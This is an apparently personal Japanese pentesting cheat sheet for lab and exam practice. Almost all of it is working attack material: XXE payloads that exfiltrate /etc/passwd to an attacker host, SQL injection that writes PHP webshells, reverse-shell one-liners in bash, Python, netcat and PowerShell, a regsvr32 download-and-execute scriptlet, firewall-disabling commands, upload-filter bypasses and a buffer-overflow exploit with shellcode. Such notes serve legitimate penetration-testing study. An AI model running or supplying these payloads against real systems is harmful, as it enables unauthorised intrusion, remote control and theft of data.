nmap -v -v --script ssl-cert,ssl-enum-ciphers -p 9443 192.168.56.33
nmap --script ssl-heartbleed -sV -p 8443 192.168.56.33
sslyze --regular --hide_rejected_ciphers 192.168.56.33:9443
./o-saft.pl +check -v 192.168.56.33:9443
./o-saft.pl +info -v 192.168.56.33:9443
./o-saft.pl +quick -v 192.168.56.33:9443
./o-saft.pl +cipher -v 192.168.56.33:9443
./o-saft.pl +cipherall -v 192.168.56.33:9443
./o-saft.tcl
./testssl.sh -U 192.168.56.33:9443
msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
正直なんもわからん。
参考文献
net123.tistory.com
Heart Bleed
python /usr/share/exploitdb/exploits/multiple/remote/32745.py 10.11.1.1 -p 443
Memoryの一部をリークできる。
msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed set RHOSTS 192.168.56.33 set RPORT 8443 set verbose true exploit
ECB encrypt attack
平文ブロックが同じであれば暗号ブロックも同じになる。それぞれのブロックは独立して暗号化されるため、暗号化されたデータ(セッションIDなど)を入れ替えることが可能
例)user:rootでログインしたいとする。user password を入力するがサーバがpasswordを認証に用いない場合、passwordのフォームにrootとしてSessionIDを受けとり、userとpasswordのブロックを入れ替えればrootとしてログインできる(かもしれない)
例)ブロックサイズが8バイトの場合、aaaaaaaarootとしてSessionIDを取得しaaaaaaaaに該当する箇所を削除して送信すれば行ける(かもしれない)
参考:
PentesterLab: Learn Web App Pentesting!
padding oracle attack
padbuster http://192.168.56.27/index.php UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX 8 -cookie auth=UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX
パディングがPKCS7、ブロック暗号のモードがCBC、送った暗号文のPaddingが正しいか確認可能な時、暗号文を解読、改竄できる
あるユーザーのセッションIDが上記の時、それを解読することができる。padbuster http://192.168.56.27/index.php UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX 8 -cookie auth=UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX -plaintext user=admin
plaintext
オプションに暗号化したい平文を設定することで偽造されたセッションIDを不正に発行できる。Apache HTTPリリース2.4.25より前のmod_session_crypto関数でこの脆弱性がある。
参考:
Padding Oracle Attack
PentesterLab: Learn Web App Pentesting!
XXE Injection
- 入力したものが、XML解析されて、その結果がそのまま表示される場合
入力したものが、そのままXML解析される脆弱性
入力したものが、XML解析されて、その結果がそのまま表示される場合、以下でファイルを読み込める
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset>
XXEiで表示するコンテンツに<
が含まれる場合、XML構文が終了してしまうためそのよう場合には、
php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml
としてBase64エンコードする
- それ以外
Content typeをXMLとすることで、XML構文を解析させる。XMLのエンティティの外部参照を使って標的内のファイルを取得して送信することができる。また、secret URLの取得や、秘密鍵を取得して偽造セッションIDを作成してログインなど。
まず、dtdを外部参照にして、標的にXMLリクエストを投げる。
POST /login HTTP/1.1<br> Host: vulnerable<br> Connection: close<br> Content-Type: text/xml<br> Content-Length: 98<br> <?xml version="1.0"?><br> <!DOCTYPE foo SYSTEM "http://192.168.56.5:3000/test.dtd"><br> <foo>&e1;</foo><br>
このとき、dtdファイルは攻撃者のサーバに設置する。このリクエストの中に%e1;
を入れると、dtdファイル内で定義されるe1エンティティに置き換えられる。
そして、dtdファイルの中には、
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>">
%p2;
と書くことで、XML解析後には、
<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?[/etc/passwd]'>
となり、e1が参照するのは、攻撃者の3001ポートにhttp://.../BLAH?root:x:...
みたいな形でアクセスされる。つまり、アクセスしてくるURLの中に/etc/passwdファイルの中身が表示される。
攻撃者のDTDファイルを読み込むようにXMLリクエストを送信して、実際に攻撃者の端末にアクセスがくれば、この攻撃に脆弱であると言える?(yokuwakattenai)
参考:
pentesterlab.com
http://www.beesfun.com/2017/04/21/play%E6%B8%97%E9%80%8F%E6%A1%86%E6%9E%B6XXE%E5%AE%9E%E4%BD%93%E6%94%BB%E5%87%BB/www.beesfun.com
Command Injection
commix --url="http://192.168.56.32/create" --cookie="rack.session=BAh7B0kiD3Nlc3Npb2..." --data="name=aa&ip=INJECT_HERE&ttl=600"
INJECT_HERE
とかけばそこをチェックする。shellshock
も発見できるらしい
github.com手動
& | ; $ > < ` \ !
などを確認<>
を< >などにしてBurpを用いて確認%0a
改行などを確認`pwd`
で、コマンドを先に実行を確認echo test;/bin/sh;echo a
echo $(/bin/sh)
www.nsa.gov | id
192.168.56.5 | sleep 10
id=1&name=webmail&ip=192.168.3.10%0a`pwd`&ttl=600
その他、以下参照
github.com
Xpath Injection
) or contains(genre, '
) or not(contains(genre, 'teck') and '1'='2
)]/password | a[contains(a,'
)]/*|//*[contains('1','1
Manual SQL Injection
- HTTPクエリ文字列パラメーター(GET): URLで送信される入力パラメーター
- HTTP Body Parameters(POST): HTTP本文で送信される入力パラメーター
- HTTP Cookieパラメーター:HTTP Cookieで送信される入力パラメーター
- HTTPヘッダー:アプリケーションで使用されるHTTP要求ヘッダー
X-Forwarded-For
,X-Forwarded-Host
,UserAgent
,Referrer
,Host
ヘッダーを調べる
チートシート
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
Union query-based SQL Injection
index.php?id=1
となっているところに、?id='
と入力してエラーが出ればSQLインジェクションが可能。
?id=-1 union select 1,2,3,4,5,6 --
などを入力して、エラーが出るまで数字を増やしていく。今回は7とするとエラーがでた(ことにする)。
画面に出ている数字のところにdatabase()
,user()
,hostname()
,@@version
,@@datadir
,system_user()
などとすると、現在のデータベースなどの情報が表示される。UNION SELECT 1,table_schema,3,4,5,6 from information_schema.tables
でデータベース一覧を取得。UNION SELECT 1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6 from information_schema.column
でデータベース、テーブル、カラム一覧表示を取得。UNION SELECT 1,concat(username,0x3a,password),3,4,5,6 from テーブル名
であるテーブルのカラムの値を取得UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/backdoor.php"
でWebshellを設置。なお、Webshellを設置する/var/www/https/...
などの場所は、書き込み権限がある場所を選択する必要がある。
windowsなら、
item=1' union select a "<?php system($_GET['cmd']); ?>" into outfile 'c:/wamp/www/PHP/lang/webshell.php'-- -
のように書く。
/var/www/html
,/var/www/css
,/var/www/classes
だったりと問題によっていろいろで試してみるしかない?(よくわかっていない)
Blind SQL Injection
' or sleep(4) and '1'='1
,' or sleep(4)#
,' AND BENCHMARK(5000000,ENCODE('MSG','by 10 seconds'))#
Time-based blind SQL Injection
応答にかかる時間が長いかどうかでslepp関数が実行されているかどうかわかる(1bitの情報がわかる)
参考:
PentesterLab: Learn Web App Pentesting!
SQL Injection through HTTP Headers - Infosec Resources
Time based Blind SQL Injection on MySQL: How to do manually – Anonhack**Content-based SQL Injection**
参考:
Blind SQL Injection | OWASP
NoSQL Injection
{"username": {"$gt": ""},"password": {"$gt": ""}}
{"username": {"$gt": undefined},"password": {"$gt": undefined}}
username[$gt]=&password[$gt]=
sqlmap
sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3
risk level | SQLi type |
---|---|
risk 1: | 普通のSQLインジェクション |
risk 2: | Time-basedSQLインジェクション |
risk 3: | OR-basedSQLインジェクション |
--dbs
でデータベース一覧表示
- sqlmap -u "http://192.168.56.30/" --headers="X-Forwarded-For: *" --method GET --batch --technique T --time-sec 1
--headers
オプションでヘッダーも調査、*
で脆弱な箇所を指定。デフォルトではSqlmapはX-Forwarded-For:
は見ない。--batch
オプションでユーザー入力を省略、--time-sec
オプションでTime-basedのSleep時間を指定(デフォルトで5)、--techinique
でSQLIの種類を指定
option | SQLi type |
---|---|
B | Boolean-based blind |
E | Error-based |
U | Union query-based |
S | Stacked queries |
T | Time-based blind |
Q | Inline queries |
sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D データベース名 --tables
で指定したデータのテーブル一覧表示
-
sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D データベース名 -T テーブル名 --dump
で指定したテーブルのカラムの値を一覧表示。
-
sqlmap -u "http://192.168.56.16/admin/edit.php?id=1" --dump --file-write="/home/user/vulnhub/webshell.php" --file-dest="/var/www/classes/webshell.php"
で/var/www/classes/にWebshellを設置。書き込み権限がなければエラーが表示される。
-
sqlmap -u "http://192.168.56.16/admin/edit.php?id=1" --cookie=PHPSESSID=sralrfgdr0qo6v331g12mso8j3
ログイン後にSQLインジェクションできる場合はCookieを設定する。
また、phpmyadminにアクセスできれば、 Shell Uploading in Web Server through PhpMyAdminを参考にしてGUIでWebshellを設置することもできる。
よく使うSQLi payloads
' or '1' = '1
or 1=1
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
' or if((select version()) like "5%", sleep(10), null) -- -
' AND extractvalue(rand(),concat(0x3a,version()))-- -
' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ
NoSQLMap
python nosqlmap.py
MongoDB and CouchDBが対象。python nosqlmap.py --attack 2 --victim 10.11.1.1 --webPort 80 --uri /login --httpMethod POST --postData email,test@test.test,password,qwerty --injectedParameter 1 --injectSize 4 --injectFormat 2 --savePath output.log
--injectedParameter 1
で{'password': "qwerty"}
に{'password': "a'; return db.a.find(); var dummy=1"}
みたいにペイロードをInjectする。
--injectSize 4
でランダムな文字列のサイズを指定。これでよさそう。
--injectFormat 2
でinjected stringsをletters onlyにする。
以下、わかりやすい参考文献。
medium.com
PHP Vulnervilities
PHP File Inclusion
page=../../../../../../../../../../etc/passwd
LFI(Local File Inclusion)page=../../../../../../../../../../etc/passwd%00
%00はヌルバイト。
LFIしかできない場合、../../../var/log/apache2/access.log
にPHPコードを書き込む(アクセスする)ことで、シェルがとれるかも。
RHEL / Red Hat / CentOS / Fedora Linux Apache access file location – /var/log/httpd/access_log Debian / Ubuntu Linux Apache access log file location – /var/log/apache2/access.log FreeBSD Apache access log file location – /var/log/httpd-access.log
以下、LFIからRCEをする参考文献。
outpost24.com
medium.com
LFI + phpinfo.phpのExplot codeは以下にある。
page=http://192.168.56.5/share/test.txt
RFI(Remote File Inclusion)page=php://filter/convert.base64-encode/resource=config
page=php://filter/convert.base64-encode/resource=config.php
page=php://filter/read=convert.base64-encode/resource=/etc/passwd
page=php://input&cmd=ls
page=proc/self/environ
kadimus
PHP LFI/RFIを自動で特定するツール。
github.comRFIでヌルバイトでうまく行かないときのnetcatを使った方法
netcat
でHTTPレスポンスを強引に作ってデータを返す。
root@kali:/var/www/html# nc -lvp 443 listening on [any] 443 ... connect to [10.11.0.1] from test.test.local [10.11.1.1] 59553 GET /test.txt\0header.php HTTP/1.0 Host: 10.11.0.1:443 HTTP/1.1 200 OK Server: Apache/2.4.34 (Debian) Content-Length: 289 Connection: close Content-Type: text/html; charset=iso-8859-1 <?php echo shell_exec(id);?>
以下参考文献
Comprehensive Guide on Local File Inclusion (LFI)
awesome-security-trivia/Tricky-ways-to-exploit-PHP-Local-File-Inclusion.md at master · qazbnm456/awesome-security-trivia · GitHub
PHP CGI Remote Code Execution
phpinfo.php?-s
POST /bWAPP/admin/phpinfo.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input <?php readfile('/etc/passwd'); ?>
PHP Eval Function
php_eval.php?eval=system('cat /etc/passwd');
eval=phpinfo();
eval=;echo exec('id');
eval=;echo exec(id);
eval=;exec('nc -e /bin/sh 192.168.56.5 4444');
execを実行結果を表示するにはechoが必要だが、systemでは必要ない(っぽい)
shell shock
Referer: () { :;};echo;/bin/echo "shell shock"
Referer: () { :;};echo;echo "shell shock"
Referer: () { :;};echo "ssssss" $(/bin/sh -c "nc -e /bin/bash 192.168.56.5 4444")
User-Agent: () { :;};echo -e "\r\nKNLIwpKiKTCa0nEHWEmc9Iquq"
use exploit/multi/http/apache_mod_cgi_bash_env_exec set RHOSTS 192.168.56.33 set targeturi /bWAPP/cgi-bin/shellshock.sh exploit
nmap 10.11.1.1 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/test-cgi
で脆弱かどうか確認。
HTTP要求の改竄
Burp Suiteを使って書き換える。
Firefoxの[Preference]の[general]から[Network]を選び上記のように設定。
Burp Suiteを起動して、[Proxy]タブで上記のように設定。
[Intercept]タブで[Intercept is on]にしてHTTP要求を受け取る。そして、[action]の[Send to Repeater]を選択。
[Repeat]タブに移動して、左ウインドウの内容を書き換えて、[Send]で送信する
Hash crack
hash-identifier
hashの種類を特定する。
代表的なHashの長さは以下を参照。
qiita.comfindmyhash MD5 -h b78aae356709f8c31118ea613980954b
でオンラインのハッシュDBにアクセスして対応する答えがないか確認する。- MD5 Decrypt online
- MD5 Online | Free and fast MD5 encryption
- CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
などのオンライン上でも確認できる。 john hash.txt
以下の三つをまとめて行う。クラックした結果はjohn hash.txt --show
で確認
john --wordlist=/usr/share/john/password.lst hash.txt
hash typeが$P$
,$H$
の場合、($P$BXC3GjdXdWYQbzZwQRv2hTo4XRtadY.
として保存)、上記のコマンドで復号できる。($P$hashまたはusername:$P$hash)として保存。
john --single hash.txt
john -incremental hash.txt
参考
/etc/passwdのクラックツール『John The Ripper』を使ってみた | 俺的備忘録 〜なんかいろいろ〜Decrypt md5(md5($p).$s)
Maeglin:6ba94d6322f53f30aca4f34960203703$e5ad5s
のようなフォーマット(username:hash$salt)で
john -format=dynamic_6 hash.txt
で復号
john --list=subformats
でハッシュ形式を確認。もしくは
CTFs/README at master · Hamza-Megahed/CTFs · GitHub
または、6ba94d6322f53f30aca4f34960203703:e5ad5s
のようなフォーマット(hash:salt)で
hashcat -m 2611 --force --show hash.txt /usr/share/john/password.lst
で復号
ただし、hashcat
の場合はjohn
と違ってmd5(md5($p).$s)ではsaltに3文字しか指定できないらしい。6文字にすると、Token length exception
と表示される。
example_hashes [hashcat wiki]でハッシュ形式を確認.
MD5 NTLM MSSQL2000 krb5 keepass wordpress SHA512shadow($6$) MD5shadow($1$)のhashcat
のクラックは以下を参照。
github.com
Buffer Overflow
msfvenom
msfvenom -l payloads
でpayloadsを確認できるmsfvenom -l encoders
指定するエンコーダーによって同じ動作をするペイロードでも違ったペイロードが出力される
標準はshikata_ga_naiだが、それでうまく行かない場合(bad charactersが\x00以外にもある場合?)は別のエンコーダーを使用する必要がある。-b
option
-b
で使用しないCharacterを指定できる-f
optoins
msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=YOURIPHERE -f exe-service > daclservicehijack.exe
Windowsがサービスを開始するための呼び出しを行うとき、ServiceMain関数を呼び出し、この呼び出しからの戻りを予期します。
exe-serviceを指定しない場合、生成されたペイロードは永続的なシェルを提供できません。
Windowsのサービスバイナリのために作成する場合は-f exe-service
を付けないといけないstaged/non staged
windows/shell_reverse_tcp
stage lessでバイナリのサイズが大きい。
nc -lvp 4444
でNetcatでリバースシェルをキャッチするときは、StagedじゃなくてStagelessを使う。windows/shell/reverse_tcp
stagedで二段階に分けて実行を行うため、Bufferのサイズが小さいときに使う。
netcat
ではキャッチできない。
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.112 LPORT=4445 EXITFUNC=thread -f exe -a x86 --platform windows -o reverse-shell.exe
EXITFUNC=thread
でペイロードを注入するサービスの動作を中止させることなくペイロードを実行できる。--var-name
,--nopsled
変数の名前を指定、NOPスレッドでペイロードの長さを調整できる。
攻撃手順
- 静的解析
radare2 ./program
objdump -D -M intel program
file program
- eipの奪取
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
gdb --args ./movie_search "payload”
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386c41
- 任意ペイロードの実行
objdump -D -M intel movie_search | grep jmp | grep esp
send = padding + return_esp + payload
- Exploit codeの作成
sudo msfvenom -p linux/x86/exec CMD=/bin/ps -b '\x00' -e x86/opt_sub -f raw > payload.txt
use linux/x86/exec set CMD /bin/ps generate -b '\x00' -e x86/opt_sub -f py
- payloads
payloadsは以下のものをよく使う(気がする)
linux/x86/exec
linux/x86/shell/reverse_tcp
linux/x86/meterpreter/reverse_tcp
linux/x86/shell_bind_tcp
- encode payloads
payloadsはWeb経由で送信する場合はURLエンコードする必要があったりなかったり
(echo -n \'; cat payload.txt; echo -n \';) | perl -pe's/(.)/sprintf("%%%02X",ord($1))/seg'
urllib.parse.quote(paylaod.txt)
- sample exploit code
以下はサンプルExploit code
import sys import socket host = "192.168.56.33" port = 666 junk = b"A" * 354 ret_addr = b"\xa7\x8f\x04\x08" nop = b"\x90" * 16 buf = b"" buf += b"\xda\xca\xd9\x74\x24\xf4\x5a\x33\xc9\xb8\x0f\x55\x1c" buf += b"\xa3\xb1\x1f\x31\x42\x1a\x03\x42\x1a\x83\xc2\x04\xe2" buf += b"\xfa\x3f\x16\xfd\x35\x1b\xd1\xe2\x66\xd8\x4d\x8f\x8a" buf += b"\x6e\x17\xc6\x6b\x43\x58\x4f\x30\x34\x99\xd8\xfe\xc1" buf += b"\x71\x1b\xfe\xd8\xdd\x92\x1f\xb0\xbb\xfc\x8f\x14\x13" buf += b"\x74\xce\xd4\x56\x06\x95\x1b\x11\x1e\xdb\xef\xdf\x48" buf += b"\x41\x0f\x20\x89\xdd\x7a\x20\xe3\xd8\xf3\xc3\xc2\x2b" buf += b"\xce\x84\xa0\x6b\xa8\x39\x41\x4c\xf9\x45\x2f\x92\xed" buf += b"\x49\x4f\x1b\xee\x8b\xa4\x17\x30\xe8\x37\x97\xcf\x22" buf += b"\xc7\x52\xef\xc5\xd8\x07\x79\xd4\x40\x05\x5d\xa7\x70" buf += b"\xa4\x1e\x42\xb6\x4e\x1d\xb2\xd6\x16\x20\x4c\x19\x66" buf += b"\x98\x4d\x19\x66\xde\x80\x99" print("Sending payload....") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect((host,port)) s.send(junk + ret_addr + nop + buf) s.close()
シェルの奪取
Webshellの設置
Webdav Scanner
cadaver http://192.168.56.8/webdav
ls
,put
,move
,copy
が使えて便利。
初めに接続して、ls
したい。davtest -url http://192.168.56.8/webdav/
davtest -url http://192.168.56.5/_vti_log/ -sendbd auto -move
でMOVEメソッドが成功するのか確認できる。
メソッドが使用できても書き込み権限がない場合はUploadできない。
めぼしいディレクトリはすべて調査するのがよさそう。use auxiliary/scanner/http/webdav_scanner
参考文献
www.hackingarticles.in
Msfvenomでのaspのペイロード作成コマンドなどは以下を参照。
https://github.com/xapax/security/blob/master/reverse-shell.mdgithub.com
手動で設置
PUTメソッドでファイルアップロード
curlやniktoなどで確認
<?php system($_GET['cmd']); ?>
curl -v -X PUT -d "Test" http://192.168.56.14/test/test.txt
curl -T shell-venom-staged.txt http://10.11.1.1/upload
curl -X MOVE --header 'Destination:http://10.11.1.1/upload/shell-venom.asp' 'http://10.11.1.1/upload/shell-venom.txt'
ファイルのヘッダーを書き換えてアップロード
PDFや画像ファイルしかアップできなくても、ファイルの先頭に%PDF-1.5
とさえ書いておけばphpファイルをアップできるかも
Bypass File Upload
拡張子の変更
.php.jpg
,.php5
,.PHp3
,.pht
とかMIMEタイプの偽造
Burp Suiteを使用して、Content-type: image/jpeg
に書き換えるGIF file ヘッダーの付与
GIF89a;
を先頭に着ける。"nginx" AND "php" AND "execute" AND (".gif" OR ".png") AND ("misconfiguration" OR "misconfig" OR "properly") AND "upload"
Googleでnginxの設定ミスでPHP以外のファイルがPHPとして実行できたりしないかとかいろいろ調べてみる。exiftool -Comment='<?php system($_GET['cmd']); ?>' image.jpeg
参考文献
pentestlab.blog
vulp3cula.gitbook.io
medium.com
Reverse shell
Linux
- 実行できるコマンドの調査
いきなりシェルスクリプトとかを実行すると、Firewallが特定のポートをはじいている場合などにデバッグできなくて詰むので、ちゃんと何が実行できるのかを整理してから選ぶ!!
以下、PHPの前提で進める。 <?php echo exec("id"); ?>
普通のコマンドが実行できているのかまず確認する。奪取できるシェルの権限も確認できる。<?php echo exec("set 2>&1 | tr -d '\n' 2>&1"); ?>
環境変数PATHの値をチェックする。pythonなどがPATHが通っていないだけの場合が考えられるため。
2>&1
で標準エラー出力を標準出力にマージすることでエラーも見れるようになる。- bash
<?php echo exec("bash -i 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("whereis bash 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("locate bash 2>&1 | tr -d '\n' 2>&1"); ?>
- nc
<?php echo exec("nc -h 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("find / -name 'nc.*' -type f"); ?>
<?php echo exec("locate nc 2>&1 | tr -d '\n' 2>&1"); ?>
出力がとても多いので、locate nc 2>&1 | grep '\/nc' 2>&1 | grep -vE 'nc.' 2>&1
として、これをBase64Encodeして、
<?php echo system(base64_decode(""))?>
のようにすることもできる。
encodeしないと期待した結果が得られなかった(???)<?php echo system(base64_decode("bG9jYXRlIG5jIDI+JjEgfCBncmVwICdcL25jJyAyPiYxIHwgZ3JlcCAtdkUgJ25jLicgMj4mMQ0K"))?>
- netcat
<?php echo exec("netcat -h 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("find / -name 'netcat.*' -type f"); ?>
<?php echo exec("locate netcat 2>&1 | tr -d '\n' 2>&1"); ?>
- telnet
- perl
<?php echo exec("perl -h 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("whereis perl 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("locate perl 2>&1 | tr -d '\n' 2>&1"); ?>
- python
<?php echo exec("python -h 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("whereis python 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("locate python 2>&1 | tr -d '\n' 2>&1"); ?>
-
<?php echo exec("wget -h 2>&1 | tr -d '\n' 2>&1"); ?>
Reverse shell script
pentestmonkey.net
github.com
book.hacktricks.xyz
のリバースシェル用のスクリプトを参考にする。
代表的なものとしては、
-
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
-
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
nc -e /bin/sh 10.0.0.1 1234
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.16 LPORT=4444 SHELL=/bin/bash -a cmd --platform Unix -e generic/none
msfvenom -p cmd/unix/reverse_bash LHOST=10.0.0.1 LPORT=4242 -f raw > shell.sh
wget http://10.11.0.1/reverse/linux/reverse-443.sh -O /tmp/reverse-443.sh && bash /tmp/reverse-443.sh
rm -f /tmp/p; mknod /tmp/p p && telnet 10.11.0.112 5555 0/tmp/p
telnet 10.11.0.112 5555 | /bin/bash | telnet 10.11.0.112 6666
5555と6666ポートの両方を開けておく。5555ポートにコマンドを入力すると6666ポートに結果が表示される。
である。
他にもKaliLinuxにはreverse shell用のスクリプトが容易されている。
-
/usr/share/webshells/php/php-reverse-shell.php
-
sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.5 lport=443 -f raw
として、use /exploit/multi/handler
モジュールを選択し、payloadにphp/meterpreter/reverse_tcp
(staged)を選択する
meterpreterセッション確立後は、sysinfo
,getuid
などで情報を集める。
Windows
cscript wget.vbs http://10.11.0.11/exploit/windows/nc.exe nc.exe
wget.vbs
をecho
のワンライナーで作成しておき、nc.exe
をUploadする
nc -nv 10.11.0.11 4444 -e cmd.exe
でReverse shellを得るtftp -i 10.11.0.112 get nc.exe
atftpd --daemon --port 69 /tftp
/tftp
にnc.exe
を設置しておき、上記のコマンドが使えればこれでnc.exe
をUploadする
他にも、certuril
,powershell
でnc.exe
をアップする方法がある。powershell one liner
IP,portを編集して以下でbase64エンコードしてワンライナーで実行できるようにする
2021 3/1追記
powershellの-EncodedCommand
で実行するにはデフォルトのUTF-8ではなくUTF-16LEでエンコードされていないといけない!
iconv -f ASCII -t UTF-16LE powershellrev.ps1 | base64 | tr -d "\n"
で変換してエンコード
https://stackoverflow.com/questions/57399778/how-to-run-base64-code-in-powershell-with-ascii
raikia.com
powershell.exe -EncodedCommand JABzAGUAcgB2AGUAc.......
もしくはpowershellファイルをpowershell .\test.ps1
のようにしてcmd上で実行する
- regsvr32 /s /n /u /i:http://10.11.0.112/reverse-4445.sct scrobj.dll
Kaliに用意したreverse-4445.sct
ファイルを実行して、reverse-4445.ps1
ファイルを実行する。
PSのリバースシェルが得られる。
<?XML version="1.0"?><scriptlet><registration progid="SCqiRsAq" classid="{30ccdc90-36cf-68ac-6562-51b3f07b27ea}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -c $c=new-object net.webclient;$c.proxy=[Net.WebRequest]::GetSystemWebProxy();$c.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $c.downloadstring('http://10.11.0.1/reverse-4445.ps1');",0);]]></script></registration></scriptlet>
$client = New-Object System.Net.Sockets.TCPClient("10.11.0.1",4445);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powercat
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/exploit/windows/powercat.ps1');powercat -c 10.11.0.11 -p 4444 -e cmd"
github.com
- cmd.exe /c powershell -c Invoke-WebRequest -Uri "http://10.10.14.8/nc.exe" -OutFile "C:\windows\system32\spool\drivers\color\nc.exe
netsh firewall show config
でFirewallの設定を確認できる。
FirewallによってOutboundが許可されず、コマンドは実行できるがリバースシェルが得られない場合、
netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
でFirewallの設定を無効にする。
他にも以下の記事にいろいろなやり方が書いてある
www.hackingarticles.in
book.hacktricks.xyz
tomcat manager reverse shell
- manual
tomcat managerにログインできたときに以下のjspファイルを作成し、
github.com
$ mkdir webshell $ cp index.jsp webshell $ cd webshell $ jar -cvf ../webshell.war *
でwarファイルを作成してデプロイ
または,
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.1 LPORT=443 -f raw > reverse-443.jsp
でReverse shellのJSPファイルを作成したものをコンパイル。
- use exploit/multi/http/tomcat_mgr_upload
- msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.1.1 lport=443 -f war > reverse-443.war
medium.com
charlesreid1.com
axis2 reverse shell
sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f jar -o shell.jar
axis2にログインできている場合、上記でペイロードを作成。
sudo jar -xvf shell.jar
で一度展開し、
META-INF/
にgenerate_payload.py
に書かれているservices.xml
を追加。
metasploit/
にsrc/lib/axis2/PayloadServlet.class
を追加.
そして、
sudo jar cvfm shell4.jar META-INF/MANIFEST.MF META-INF metasploit metasploit.dat
で再度jarファイルを作成し、アップロード。
Microsoft IIS reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.1 LPORT=8888 -f asp > shell-venom-less.txt
netcat
でリッスンする場合はStagelessを採用。curl -T shell-venom-less.txt http://10.11.1.1/upload/
asp
ファイルを直接Uploadできない場合は、TXTファイルをMOVE
でASPファイルに書き換える。curl -X MOVE --header 'Destination:http://10.11.1.1/upload/shell-venom-less.asp' 'http://10.11.1.1/upload/shell-venom-less.txt'
これで、URLにアクセスするとシェルが得られる。bypass protected page
IIS5.0ならWedDAVがデフォルトで有効になっており、Translate: f
ヘッダーを追加したり、%c0%af
をURLの文字列に加えることで保護されているページにアクセスできるようになる。
blog.skullsecurity.orguse exploit/windows/iis/iis_webdav_upload_asp
Metasploitでも同じことが可能。/usr/share/webshells/asp/cmdasp.asp
KaliにASPのWebshellが存在するが、なんか実行できなかった。
Shell Upgrade
python -c 'import pty; pty.spawn("/bin/sh")'
現在の擬似シェルから抜け出し、ptyシェルにアップグレードecho os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
tty(疑似端末)を持たないシェルの場合、標準入力を使うsuコマンドやジョブ制御ができない
echo $SHELL
で現在使っているシェルを確認
https://netsec.ws/?p=337に詳しくのっている。
参考:完全なTTYシェルの取得
orebibou.com
https://innogen-security.com/linux-tty-shell-using-script/innogen-security.com
Upgrading Simple Shells to Fully Interactive TTYs - ropnop blog
Bypass restricted shell
- vi上で
:!/bin/sh
,:set shell=/bin/sh
,:shell
scp -F /etc/passwd x y:
その他、less
,more
コマンドなど
rbash上ではls
,cd
,/を含むコマンド
,export PATH=/usr/bin:$PATH
などができない。ビルトインコマンド(execなど)を試す
export -p
pwd
- シェルに接続する時に
-t "bash --noprofile"
を付与すると、制限付きシェルを回避できるかもしれない。
SSHを介してコマンドが実行できるということ - OS(Kernel)特有のバグで回避できるかもしれない
help
help
